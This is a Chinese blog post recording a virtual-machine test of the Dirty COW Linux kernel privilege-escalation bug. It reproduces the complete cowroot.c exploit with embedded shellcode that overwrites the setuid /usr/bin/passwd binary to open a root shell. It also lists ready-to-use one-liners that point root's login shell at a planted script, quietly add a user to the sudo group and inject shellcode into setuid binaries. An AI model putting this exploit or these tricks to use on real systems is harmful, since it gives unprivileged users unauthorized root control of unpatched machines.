前言
最近了解了一下网上聊的很热闹的脏牛漏洞,据说利用这个漏洞可以实现低权限用户本地提权,而且对Linux内核2.6.22以上的版本都有效果,包括Pc和Android。既然是Linux内核通杀漏洞,危害性肯定不容小视。我用虚拟机简单的进行了实验,确实成功的让普通用户获得了root权限。在这里记录一下实验过程。
实验过程
网上有很多关于该漏洞的描述,我就不过多的介绍了,直接上实验过程
首先准备了一个虚拟机(我使用的系统:Kali-linux-2016.2-amd64),本来打算找个服务器版本的系统做实验,但是手头没有下载好的镜像,教室网速又比较慢,所以就直接用了个之前下载的系统,系统虽然比较新,但是不影响实验,毕竟号称全版本通杀嘛,只要系统内核还没更新到最新,就应该可以利用。
以 root 用户登录,然后在 /tmp 目录下放入 开源在 Github 上的POC,POC的下载地址在这里:下载POC
然后执行以下操作
模拟入侵行为,切换到一个普通用户有权限操作的目录,创建一个 test 文件,内容为 1234567890 ,只给普通用户读的权限。然后切换到普通用户身份,尝试操作 test 文件,可以读取,但无写入权限。接下来利用漏洞:
这时发现我们成功的使用 00000 覆盖写入了 test 文件的前五位数字,test 文件内容由 1234567890 变为了 0000067890,原本 jeni 用户是没有权限修改 test 文件的,但是利用脏牛漏洞权限成功被提升。试想,我们使用同样的方法修改 /etc/passwd 文件,将 jeni 用户的 uid 改为 0 ,那么 jeni 是不是就拥有 root 权限了呢?
这里提供几种网上看到的其他的利用姿势(来源:安全客):
-
添加以下内容到 /tmp/.pwn 文件:
#!/bin/bash echo MOOOOOOOOOOO /bin/bash
chmod +x /tmp/.pwn
然后修改/etc/passwd中的shell指向
./dirtyc0w /etc/passwd root:x:0:0:root:/root:/tmp/.pwn
-
添加用户到 sudo 组
./dirtyc0w /etc/group "$(sed 's/\(sudo:x:.*:\)/\1test1/g' /etc/group)"
下次管理员再登陆的话 sudo su 不需要密码 -
注入shellcode到suid文件,比如最常见的2个文件
/usr/bin/crontab /usr/bin/passwd
下面的实验针对 /etc/passwd 文件进行了修改,让 jeni 用户直接获得一个拥有 root 权限的 shell,第一步还是在 /tmp 目录内放入我们的利用源码,也就是前面图片上显示的 cowroot.c ,内容为(网上转来转去的,也没写出处,所以我也不知道来源是哪 -_-' ):
/* * (un)comment correct payload first (x86 or x64)! * * $ gcc cowroot.c -o cowroot -pthread * $ ./cowroot * DirtyCow root privilege escalation * Backing up /usr/bin/passwd.. to /tmp/bak * Size of binary: 57048 * Racing, this may take a while.. * /usr/bin/passwd is overwritten * Popping root shell. * Don't forget to restore /tmp/bak * thread stopped * thread stopped * root@box:/root/cow# id * uid=0(root) gid=1000(foo) groups=1000(foo) */ #include#include #include #include #include #include #include void *map; int f; int stop = 0; struct stat st; char *name; pthread_t pth1,pth2,pth3; // change if no permissions to read char suid_binary[] = "/usr/bin/passwd"; /* * $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i */ unsigned char sc[] = { 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 }; unsigned int sc_len = 177; /* * $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i unsigned char sc[] = { 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00, 0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80 }; unsigned int sc_len = 136; */ void *madviseThread(void *arg) { char *str; str=(char*)arg; int i,c=0; for(i=0;i<1000000 && !stop;i++) { c+=madvise(map,100,MADV_DONTNEED); } printf("thread stopped\n"); } void *procselfmemThread(void *arg) { char *str; str=(char*)arg; int f=open("/proc/self/mem",O_RDWR); int i,c=0; for(i=0;i<1000000 && !stop;i++) { lseek(f,map,SEEK_SET); c+=write(f, str, sc_len); } printf("thread stopped\n"); } void *waitForWrite(void *arg) { char buf[sc_len]; for(;;) { FILE *fp = fopen(suid_binary, "rb"); fread(buf, sc_len, 1, fp); if(memcmp(buf, sc, sc_len) == 0) { printf("%s is overwritten\n", suid_binary); break; } fclose(fp); sleep(1); } stop = 1; printf("Popping root shell.\n"); printf("Don't forget to restore /tmp/bak\n"); system(suid_binary); } int main(int argc,char *argv[]) { char *backup; printf("DirtyCow root privilege escalation\n"); printf("Backing up %s.. to /tmp/bak\n", suid_binary); asprintf(&backup, "cp %s /tmp/bak", suid_binary); system(backup); f = open(suid_binary,O_RDONLY); fstat(f,&st); printf("Size of binary: %d\n", st.st_size); char payload[st.st_size]; memset(payload, 0x90, st.st_size); memcpy(payload, sc, sc_len+1); map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); printf("Racing, this may take a while..\n"); pthread_create(&pth1, NULL, &madviseThread, suid_binary); pthread_create(&pth2, NULL, &procselfmemThread, payload); pthread_create(&pth3, NULL, &waitForWrite, NULL); pthread_join(pth3, NULL); return 0; }
然后执行
最后效果如下:这样确实让 jeni 用户获得了一个 root 权限的shell,但是简单的执行几条命令后,虚拟机就挂了,不知道具体原因,网上说可能是 race condition 的原因。
作者: JenI 转载请注明出处,谢谢
Comments !